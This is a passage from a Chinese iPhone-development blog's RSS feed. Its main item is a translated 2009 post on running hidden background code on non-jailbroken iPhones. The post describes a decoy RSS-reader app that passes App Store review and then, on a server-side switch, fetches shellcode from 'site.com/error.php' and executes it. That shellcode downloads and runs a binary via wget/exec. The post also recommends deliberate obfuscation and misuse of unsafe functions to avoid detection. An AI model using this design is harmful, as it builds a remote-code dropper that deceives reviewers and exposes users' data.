<div class="codecolorer-container objc mac-classic" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br /></div></td><td><div class="objc codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #002200;">+</span><span style="color: #002200;">&#40;</span><a href="http://developer.apple.com/documentation/Cocoa/Reference/Foundation/Classes/NSString_Class/"><span style="color: #400080;">NSString</span></a><span style="color: #002200;">*</span><span style="color: #002200;">&#41;</span>getNSString<span style="color: #002200;">:</span><span style="color: #002200;">&#40;</span><span style="color: #a61390;">const</span> std<span style="color: #002200;">::</span>string<span style="color: #002200;">&amp;</span><span style="color: #002200;">&#41;</span>theString<br />
<span style="color: #002200;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #a61390;">return</span> <span style="color: #002200;">&#91;</span><a href="http://developer.apple.com/documentation/Cocoa/Reference/Foundation/Classes/NSString_Class/"><span style="color: #400080;">NSString</span></a> stringWithCString<span style="color: #002200;">:</span>theString.c_str<span style="color: #002200;">&#40;</span><span style="color: #002200;">&#41;</span><span style="color: #002200;">&#93;</span>;<br />
<span style="color: #002200;">&#125;</span></div></td></tr></tbody></table></div>
]]></content:encoded>
			<wfw:commentRss>http://www.iphone-geek.cn/%e7%bc%96%e7%a8%8b/%e8%b7%a8%e5%b9%b3%e5%8f%b0%e4%bb%a3%e7%a0%81%e5%88%86%e4%ba%ab%e4%b9%8b%e4%ba%94-%e5%ad%97%e7%ac%a6%e4%b8%b2%e8%bd%ac%e6%8d%a2/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>不需要越狱或Push运行iPhone后台程序</title>
		<link>http://www.iphone-geek.cn/%e7%bc%96%e7%a8%8b/%e4%b8%8d%e9%9c%80%e8%a6%81%e8%b6%8a%e7%8b%b1%e6%88%96push%e8%bf%90%e8%a1%8ciphone%e5%90%8e%e5%8f%b0%e7%a8%8b%e5%ba%8f</link>
		<comments>http://www.iphone-geek.cn/%e7%bc%96%e7%a8%8b/%e4%b8%8d%e9%9c%80%e8%a6%81%e8%b6%8a%e7%8b%b1%e6%88%96push%e8%bf%90%e8%a1%8ciphone%e5%90%8e%e5%8f%b0%e7%a8%8b%e5%ba%8f#comments</comments>
		<pubDate>Thu, 17 Dec 2009 05:37:30 +0000</pubDate>
		<dc:creator>bagusflyer</dc:creator>
				<category><![CDATA[编程]]></category>
		<category><![CDATA[后台程序]]></category>
		<category><![CDATA[教程]]></category>
		<category><![CDATA[代码片段]]></category>

		<guid isPermaLink="false">http://www.iphone-geek.cn/?p=410</guid>
		<description><![CDATA[（译者注：虽然不提倡本文的方法，但还是向此文作者的创造性致敬！）
&#160;
有一种试验性的方法实现iPhone上运行后台程序/守护进程。到目前为止，iPhone SDK 并不允许在iPhone OS上（其本身是基于 Darwin Unix的）开发“真正的” Unix方式的后台进程（守护进程）。
&#160;
本方法涉及了一些高级编程课题，例如 shellcode，因此要求一些基本的汇编经验，Unix系统调用以及最好具有一些ARM 经验。
&#160;

法律声明
&#160;
这只是一种理论，仅用于试验目的 &#8211; 不要在实际程序中使用此方法除非你有足够的钱请律师或者准备藐视Apple的版权。我不会对任何违反法律的行为负责。
&#160;
如果你不知道你在做什么，那么不要做。
&#160;
概述
&#160;
好了。在读了我的声明后，让我们开始讨论究竟要怎样实现这个目标，我们遇到的困难是：
&#160;

编写一个iPhone上的后台程序/守护进程
通过代码迷惑技术避免被Apple检测到
发布程序到app store
…避免被诉讼

&#160;
避免被抓
&#160;
在基于Unix的操作系统上运行后台进程不是件很困难的事情，但是在Apple所钟爱的（完全被锁定）的iPhone OS（未越狱的）上如果没有采用一些代码迷惑技术则很不简单。
&#160;
但是，正所谓有志者事竟成。
&#160;
基本示例
&#160;
比如说我们需要一个后台程序（示例而已）在每个小时甚至在其他前台程序运行的情况下记录时间和日期到一个文件。由于我缺乏命名的创造性，我姑且称之为“Logger”。
&#160;
此程序的目的是在后台运行并记录到一个文本文件，假设文本文件存储在默认的Logger.app目录下。但是Apple并不认同程序在后台运行，所以我们要发挥一下创造性。
&#160;
我们知道我们要做什么，但是我们不想Apple知道我们要做什么。所以在进一步前，我们要讨论一下Apple是怎样审查程序的。
&#160;
熟悉Apple在做什么
&#160;
当你通过iTunes上传你的程序到Apple后，它就处于“被审查”状态，Apple开始“肢解”你的程序。
&#160;
我指的是反汇编， I/O监视, CPU 使用检测以及详细的网络分析。他们将知道你程序所有的Darwin/Mach系统调用以及这些调用后的条件逻辑。
&#160;
(有关与iPhone SDK 和 Objective-C 运行时比较的详细框图，请参见此文 ，它介绍了iPhone结构的详细概况。）
&#160;
所以将守护进程所需的后台代码放入你的程序去接受审核并不是一个聪明的方法。系统调用及代码的本性一定会在审核时举红旗，他们将不会批准你的程序。
&#160;
但是，使用一个小小的诡计可以让你的程序通过Apple的“合法”审核，而我们在程序批准后实现需要的工作。
&#160;
前台掩护
&#160;
如果我们只是提交只有一个循环而没有任何功能的程序，毫无异议它看上去就像一个守护进程，即使是世界上最好的代码迷惑技术也无法隐藏我们究竟在做什么。
&#160;
另外，它并不是一个“真正”的后台进程，因为最终当你按下菜单按钮（译者注：Home按钮）时出现会终止（有效地终止其执行和子进程）。
&#160;
所以，我们引进一个“前台掩护”。看过“教父”或其他类似的黑手党电影？“前台掩护”就是那些看上去合法，为赌博或酒精欺诈洗钱的小生意。这与我们的程序一样，它隐藏了后台正在进行的工作。
&#160;
我们的“前台掩护”是一个网络浏览和RSS feed客户程序。我们将使我们的程序显示来自于RSS feed链接的简单的web view，；另外显示一些标志使其看上去合法。简单吗？
&#160;
切换
&#160;
所以我们的程序现在看上去是一个简单的RSS客户程序，它将通过我们网站的新闻供应站打开网络浏览。它确实是这么做的直到我们“切换”到我们真正要做的事情。
&#160;
此方法的“触发”十分简单：在RSS客户程序中加入一个条件如下：
123456if &#40;RSS feed is a redirect to /error.php&#41; &#123; // error.php is our remote and malicious script
NSString *fake = &#91;NSString initWithString:@&#34;There's an error&#34;&#93;; // Unused; Look genuine to Apple
// code to make [...]]]></description>
			<content:encoded><![CDATA[<p>（译者注：虽然不提倡本文的方法，但还是向此文作者的创造性致敬！）</p>
<p>&nbsp;</p>
<p>有一种试验性的方法实现<strong>iPhone上运行后台程序/守护进程。</strong>到目前为止，<strong>iPhone SDK</strong> 并不允许在iPhone OS上（<strong><a title="iPhone OS firmware is Unix" href="http://thecoffeedesk.com/news/index.php/2009/07/20/iphone-firmware-definition/">其本身是基于 Darwin Unix的</a></strong>）开发“真正的” Unix方式的后台进程（守护进程）。</p>
<p>&nbsp;</p>
<p>本方法涉及了一些<strong>高级编程课题，</strong>例如 <strong>shellcode，</strong>因此要求一些基本的汇编经验，<strong>Unix系统调用</strong>以及最好具有一些<strong>ARM</strong> 经验。</p>
<p>&nbsp;</p>
<p><span id="more-410"></span></p>
<h2><strong>法律声明</strong></h2>
<p>&nbsp;</p>
<p>这只是一种理论，仅用于试验目的 &#8211; 不要在实际程序中使用此方法除非你有足够的钱请律师或者准备藐视Apple的版权。我不会对任何违反法律的行为负责。</p>
<p>&nbsp;</p>
<p><em>如果你不知道你在做什么，那么不要做。</em></p>
<p>&nbsp;</p>
<h2><strong>概述</strong></h2>
<p>&nbsp;</p>
<p>好了。在读了我的声明后，让我们开始讨论究竟要怎样实现这个目标，我们遇到的困难是：</p>
<p>&nbsp;</p>
<ul>
<li><strong>编写一个iPhone上的后台程序/守护进程</strong></li>
<li><strong>通过代码迷惑技术避免被Apple检测到</strong></li>
<li><strong>发布程序到app store</strong></li>
<li><strong>…避免被诉讼</strong></li>
</ul>
<p>&nbsp;</p>
<h2><strong>避免被抓</strong></h2>
<p>&nbsp;</p>
<p>在基于Unix的操作系统上运行后台进程不是件很困难的事情，但是在Apple所钟爱的（完全被锁定）的iPhone OS（未越狱的）上如果没有采用一些代码迷惑技术则很不简单。</p>
<p>&nbsp;</p>
<p>但是，正所谓有志者事竟成。</p>
<p>&nbsp;</p>
<h2><strong>基本示例</strong></h2>
<p>&nbsp;</p>
<p>比如说我们需要一个后台程序（示例而已）在每个小时甚至在其他前台程序运行的情况下记录时间和日期到一个文件。由于我缺乏命名的创造性，我姑且称之为“Logger”。</p>
<p>&nbsp;</p>
<p>此程序的目的是在后台运行并记录到一个文本文件，假设文本文件存储在默认的Logger.app目录下。但是Apple并不认同程序在后台运行，所以我们要发挥一下创造性。</p>
<p>&nbsp;</p>
<p>我们知道我们要做什么，但是我们不想Apple知道我们要做什么。所以在进一步前，我们要讨论一下Apple是怎样审查程序的。</p>
<p>&nbsp;</p>
<h2><strong>熟悉Apple在做什么</strong></h2>
<p>&nbsp;</p>
<p>当你通过iTunes上传你的程序到Apple后，它就处于“被审查”状态，Apple开始“肢解”你的程序。</p>
<p>&nbsp;</p>
<p>我指的是反汇编， I/O监视, CPU 使用检测以及详细的网络分析。他们将知道你程序所有的Darwin/Mach系统调用以及这些调用后的条件逻辑。</p>
<p>&nbsp;</p>
<p>(有关与iPhone SDK 和 Objective-C 运行时比较的详细框图，请参见<strong><a title="iPhone OS Architecture" href="http://thecoffeedesk.com/news/index.php/2009/05/17/iphone-architecture/">此文</a></strong> ，它介绍了iPhone结构的详细概况。）</p>
<p>&nbsp;</p>
<p>所以将守护进程所需的后台代码放入你的程序去接受审核并不是一个聪明的方法。系统调用及代码的本性一定会在审核时举红旗，他们将不会批准你的程序。</p>
<p>&nbsp;</p>
<p>但是，使用一个小小的诡计可以让你的程序通过Apple的“合法”审核，而我们在程序批准后实现需要的工作。</p>
<p>&nbsp;</p>
<h2><strong>前台掩护</strong></h2>
<p>&nbsp;</p>
<p>如果我们只是提交只有一个循环而没有任何功能的程序，毫无异议它看上去就像一个守护进程，即使是世界上最好的代码迷惑技术也无法隐藏我们究竟在做什么。</p>
<p>&nbsp;</p>
<p>另外，它并不是一个“真正”的后台进程，因为最终当你按下菜单按钮（译者注：Home按钮）时出现会终止（有效地终止其执行和子进程）。</p>
<p>&nbsp;</p>
<p>所以，我们引进一个“前台掩护”。看过“教父”或其他类似的黑手党电影？“前台掩护”就是那些看上去合法，为赌博或酒精欺诈洗钱的小生意。这与我们的程序一样，它隐藏了后台正在进行的工作。</p>
<p>&nbsp;</p>
<p>我们的“前台掩护”是一个网络浏览和RSS feed客户程序。我们将使我们的程序显示来自于RSS feed链接的简单的web view，；另外显示一些标志使其看上去合法。简单吗？</p>
<p>&nbsp;</p>
<h2><strong>切换</strong></h2>
<p>&nbsp;</p>
<p>所以我们的程序现在看上去是一个简单的RSS客户程序，它将通过我们网站的新闻供应站打开网络浏览。它确实是这么做的直到我们“切换”到我们真正要做的事情。</p>
<p>&nbsp;</p>
<p>此方法的“触发”十分简单：在RSS客户程序中加入一个条件如下：</p>
<div class="codecolorer-container objc mac-classic" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br /></div></td><td><div class="objc codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #a61390;">if</span> <span style="color: #002200;">&#40;</span>RSS feed is a redirect to <span style="color: #002200;">/</span>error.php<span style="color: #002200;">&#41;</span> <span style="color: #002200;">&#123;</span> <span style="color: #11740a; font-style: italic;">// error.php is our remote and malicious script</span><br />
<a href="http://developer.apple.com/documentation/Cocoa/Reference/Foundation/Classes/NSString_Class/"><span style="color: #400080;">NSString</span></a> <span style="color: #002200;">*</span>fake <span style="color: #002200;">=</span> <span style="color: #002200;">&#91;</span><a href="http://developer.apple.com/documentation/Cocoa/Reference/Foundation/Classes/NSString_Class/"><span style="color: #400080;">NSString</span></a> initWithString<span style="color: #002200;">:</span><span style="color: #bf1d1a;">@</span><span style="color: #bf1d1a;">&quot;There's an error&quot;</span><span style="color: #002200;">&#93;</span>; <span style="color: #11740a; font-style: italic;">// Unused; Look genuine to Apple</span><br />
<span style="color: #11740a; font-style: italic;">// code to make the switch, detailed below</span><br />
<span style="color: #a61390;">return</span>;<br />
<span style="color: #002200;">&#125;</span><br />
<span style="color: #11740a; font-style: italic;">// &quot;else&quot; continue happily as the simpleton RSS/UIWebView app</span></div></td></tr></tbody></table></div>
<p>&nbsp;</p>
<p>此代码的目的是：在Apple批准我们的简单RSS客户程序发布到app store后，我们可以手工重定向RSS feed到/error.php，这将使条件满足开始切换。</p>
<p>&nbsp;</p>
<p>省略 <strong>else</strong> 使得条件满足时进行切换时不那么明显，<em>return</em> 语句与<em>else</em> 一样(在汇编层进行代码迷惑)。</p>
<p>&nbsp;</p>
<p>未使用的 NSString 在Apple进行审核时使得我们的程序看上去在进行错误处理。</p>
<p>&nbsp;</p>
<p>我们是这样进行功能强大的“切换”? 这是具有欺骗性的部分…</p>
<p>&nbsp;</p>
<h2><strong>实现切换</strong></h2>
<p>&nbsp;</p>
<p>将一个“傻瓜”RSS阅读器切换为Unix守护进程的初始化要骗过Apple不是件容易的事情，所以我们必须具有真正的创造性。解决方法是<strong><a title="Wikipedia: Shellcode" rel="nofollow" href="http://en.wikipedia.org/wiki/Shellcode" target="_blank">Shellcode</a></strong>，它是一套植入“只读”缓存执行的可执行 (ARM) 作业码。</p>
<p>&nbsp;</p>
<p>参见 <strong><a title="Shellcode paper" href="http://www.milw0rm.com/papers/51" target="_blank">此论文</a></strong> 重温一下shellcode的实现。 指南中的作业码是用于x86的，但是交叉编译可以很容易地运用到ARM可执行代码的开发。</p>
<p>&nbsp;</p>
<p>所以使我们的 /error.php 网页返回 ARM 作业码，并“意外地” 在iPhone上运行:</p>
<div class="codecolorer-container objc mac-classic" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br /></div></td><td><div class="objc codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #11740a; font-style: italic;">// beginning where we left off...</span><br />
<span style="color: #a61390;">if</span> <span style="color: #002200;">&#40;</span>RSS feed is a redirect to <span style="color: #002200;">/</span>error.php<span style="color: #002200;">&#41;</span> <span style="color: #002200;">&#123;</span><br />
<a href="http://developer.apple.com/documentation/Cocoa/Reference/Foundation/Classes/NSString_Class/"><span style="color: #400080;">NSString</span></a> <span style="color: #002200;">*</span>fake <span style="color: #002200;">=</span> <span style="color: #002200;">&#91;</span><a href="http://developer.apple.com/documentation/Cocoa/Reference/Foundation/Classes/NSString_Class/"><span style="color: #400080;">NSString</span></a> initWithString<span style="color: #002200;">:</span><span style="color: #bf1d1a;">@</span><span style="color: #bf1d1a;">&quot;There's an error&quot;</span><span style="color: #002200;">&#93;</span>; <span style="color: #11740a; font-style: italic;">// Unused; Look genuine to Apple</span><br />
<span style="color: #11740a; font-style: italic;">// switch code:</span><br />
<span style="color: #a61390;">char</span> exe<span style="color: #002200;">&#91;</span>1<span style="color: #002200;">&#93;</span><span style="color: #002200;">&#91;</span>BUF<span style="color: #002200;">&#93;</span>; <span style="color: #11740a; font-style: italic;">// Array of C-strings, each of size BUF (defined elsewhere)</span><br />
exe<span style="color: #002200;">&#91;</span><span style="color: #2400d9;">0</span><span style="color: #002200;">&#93;</span> <span style="color: #002200;">=</span> http_read<span style="color: #002200;">&#40;</span><span style="color: #bf1d1a;">'site.com/error.php'</span><span style="color: #002200;">&#41;</span>; <span style="color: #11740a; font-style: italic;">// more on this below</span><br />
<span style="color: #11740a; font-style: italic;">/* appear to do something with exe[0], then: */</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #a61390;">int</span> <span style="color: #002200;">&#40;</span><span style="color: #002200;">*</span>sh<span style="color: #002200;">&#41;</span><span style="color: #002200;">&#40;</span><span style="color: #002200;">&#41;</span>; <span style="color: #11740a; font-style: italic;">// setup shellcode function pointer</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; ret <span style="color: #002200;">=</span> <span style="color: #002200;">&#40;</span>sh<span style="color: #002200;">&#40;</span><span style="color: #002200;">*</span><span style="color: #002200;">&#41;</span><span style="color: #002200;">&#40;</span><span style="color: #002200;">&#41;</span><span style="color: #002200;">&#41;</span>exe<span style="color: #002200;">&#91;</span>1<span style="color: #002200;">&#93;</span>; <span style="color: #11740a; font-style: italic;">// *oops*</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #002200;">&#40;</span><span style="color: #a61390;">int</span><span style="color: #002200;">&#41;</span><span style="color: #002200;">&#40;</span><span style="color: #002200;">*</span>ret<span style="color: #002200;">&#41;</span><span style="color: #002200;">&#40;</span><span style="color: #002200;">&#41;</span>; <span style="color: #11740a; font-style: italic;">// could even be obfuscated even further; details below</span><br />
<span style="color: #a61390;">return</span>;<br />
<span style="color: #002200;">&#125;</span></div></td></tr></tbody></table></div>
<p>&nbsp;</p>
<p>以上是从php脚本error.php获取执行代码的未采用代码迷惑的版本。：</p>
<p>&nbsp;</p>
<p>所以 error.php 在程序审查时未发布到app store前是合法的，并未改变为“恶毒”代码，程序未加密地读取字节到缓存中。for循环填充exe[0]，然后exe[1]获取运行在设备上的“负载”代码。</p>
<p>&nbsp;</p>
<p>这可以是shell脚本，即守护进程本身，或者是实际进程的下载器（下面将介绍）。</p>
<p>&nbsp;</p>
<h2><strong>汇总</strong></h2>
<p>&nbsp;</p>
<p>此程序发布为一个通用RSS 和 UIWebView 客户程序，但在app store批准后，在远程服务器端进行的修改（重定位RSS feed到新的/error.php) 使得 iPhone程序可以通过迷惑shellcode代码以及一个“意外的”缓存溢出执行任何你希望的代码。</p>
<p>&nbsp;</p>
<p>我上面提供的C代码并不具有足够的迷惑性，很有可能在审核时会不能通过。故意使用非安全sprintf（）函数误用或混用合法或非法函数指针使得你的代码更加迷惑性。</p>
<p>&nbsp;</p>
<p>另外，如果植入**exe字符串到最终可执行代码的只读栈区，你可能会需要进行些手工汇编编辑和链接。</p>
<p>&nbsp;</p>
<h2><strong>Shellcode内容<br />
</strong></h2>
<p>&nbsp;</p>
<p>至于shellcode本身，我推荐：让 error.php 提供`wget ` and `exec()`shellcode，文件部分是你希望运行在后台的预先编译好的ARM可执行码。</p>
<p>&nbsp;</p>
<p>此方法必须在你的程序中使用守护进程代码（Apple可见），并允许一种更隐秘的方法运行你希望的作业。</p>
<p>&nbsp;</p>
<p>以我们的“Logger”为例，shellcode将下载一段预先编译的ARM码， 从error.php下载的shellcode的伪码如下：</p>
<div class="codecolorer-container cpp mac-classic" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br /></div></td><td><div class="cpp codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #0000ff;">if</span><span style="color: #008000;">&#40;</span>the ARM executable is already present<span style="color: #008000;">&#41;</span><span style="color: #008080;">:</span><br />
execute it <span style="color: #666666;">// system(&quot;./logger &amp;&quot;); &lt;- the '&amp;' is bourne for &quot;background&quot;</span><br />
<span style="color: #0000ff;">else</span><span style="color: #008080;">:</span><br />
download the logger executable from the server and execute it in the background</div></td></tr></tbody></table></div>
<p>&nbsp;</p>
<p>更好的是，稍晚一些修改error.php中的shellcode。避过两个星期app store更新审核。</p>
<p>&nbsp;</p>
<h2><strong>最后的注意事项</strong></h2>
<p>&nbsp;</p>
<p>这是一种很“黑客式”的方法 <strong>以在不越狱的情况下在iPhone上运行任何代码（甚至发布到app store）。</strong></p>
<p>&nbsp;</p>
<p>请记住：一个很好的“前台掩护”使Apple认为它确实是一个合法程序，尽可能地隐藏你的目的。提供真实的字符串使其看上去确实像“错误处理”。</p>
<p>&nbsp;</p>
<p><strong>安全专家读到此文可能会想死。</strong> 本文详细地介绍了怎样在iPhone的后台运行你希望的代码，甚至通过app store。</p>
<p>&nbsp;</p>
<p>所以如果Johhny Blackhat想获取你的iCal内容，他只需发布一个免费游戏到app store，而在你玩游戏时通过其shellcode获取信息。</p>
<p>&nbsp;</p>
<p>我一点也不会怀疑我不是第一个想到此方法的人，或许有人已经在运用了。</p>
<p>&nbsp;</p>
<p>最重要的一点是具有通过远程改变而改变整个程序的执行的能力。这是使程序中审核时看上去是合法的关键，一旦通过审核发布在App Store后，你就可以为所欲为了。</p>
<p>&nbsp;</p>
<p>由于App Store中的程序太多，Apple不可能有时间检查每个程序的合法性。</p>
<p>&nbsp;</p>
<p>记住：我将向第一个实现并发布实现方法的人致敬，但我不会为怎样使用或误用负责。<img src="http://thecoffeedesk.com/news/wp-includes/images/smilies/icon_wink.gif" alt=";)" /></p>
<p>&nbsp;</p>
<h5>原文见：<a title="iPhone Background Apps Without Jailbreaking Or Push" rel="bookmark" href="http://thecoffeedesk.com/news/index.php/2009/08/06/iphone-daemon/">iPhone Background Apps Without Jailbreaking Or Push</a> 作者：<a title="Posts by Anthony" href="http://thecoffeedesk.com/news/index.php/author/anthony/">Anthony</a></h5>
<p><span> </span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.iphone-geek.cn/%e7%bc%96%e7%a8%8b/%e4%b8%8d%e9%9c%80%e8%a6%81%e8%b6%8a%e7%8b%b1%e6%88%96push%e8%bf%90%e8%a1%8ciphone%e5%90%8e%e5%8f%b0%e7%a8%8b%e5%ba%8f/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
	</channel>
</rss>
